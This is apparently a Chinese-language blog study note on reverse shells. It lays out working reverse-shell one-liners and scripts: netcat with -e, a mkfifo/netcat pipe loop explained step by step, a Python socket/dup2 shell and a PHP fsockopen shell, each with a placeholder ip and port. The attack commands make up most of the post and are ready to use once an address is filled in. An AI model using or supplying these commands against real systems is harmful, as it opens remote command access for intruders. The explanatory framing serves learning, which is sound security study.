nc反弹shell可以使用如下命令:
nc -e /bin/bash ip port
但是如果nc的版本没有e选项,那么:
mkfifo /tmp/f # 或者 mknod /tmp/f p
cat /tmp/f | /bin/sh -i 2>&1 | nc ip port > /tmp/f
这里逐步解释一下,mkfifo /tmp/f
创建一个管道文件,这个命令与mknod /tmp/f p
等价。
cat /tmp/f
读取管道里的内容;/bin/sh -i 2>&1
以交互方式运行/bin/sh,并将标准错误重定向到标准输出;nc ip port > /tmp/f
连接 ip:port 并将输出重定向到/tmp/f。
这条命令的逻辑是这样的:cat /tmp/f
等待并从命名管道中获取命令,然后将获取到的命令通过匿名管道发送到/bin/sh
执行,然后/bin/sh
将返回的结果再通过匿名管道发送给nc
,nc
则将命令的结果发送到 ip:port ,如果 ip:port 再次输入的命令,那么这个命令被nc
接收后会被重定向到/tmp/f
。于是又开始循环。大致流程如下图所示:
总结下来,反弹shell的基本逻辑就是:
-
- TCP等连接
- IO重定向
- 允许执行系统命令
再记录下python和php反弹shell的方法:
-
- python:
import socket, subprocess, os
# TCP连接
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((“ip”, port))
# IO重定向
os.dup2(s.fileno(), 0) # 将socket的文件描述符复制到标准输入
os.dup2(s.fileno(), 1) # 将socket的文件描述符复制到标准输出
os.dup2(s.fileno(), 2) # 将socket的文件描述符复制到标准错误
# 执行/bin/bash -i
p = subprocess.call([“/bin/bash”, “-i”])
-
- php:
php -r '$sock=fsockopen("ip",port);exec("/bin/sh -i <&3 >&3 2>&3");'
标签:tmp,bin,shell,socket,ip,nc,学习,port From: https://www.cnblogs.com/brilliantHongXi/p/17085165.html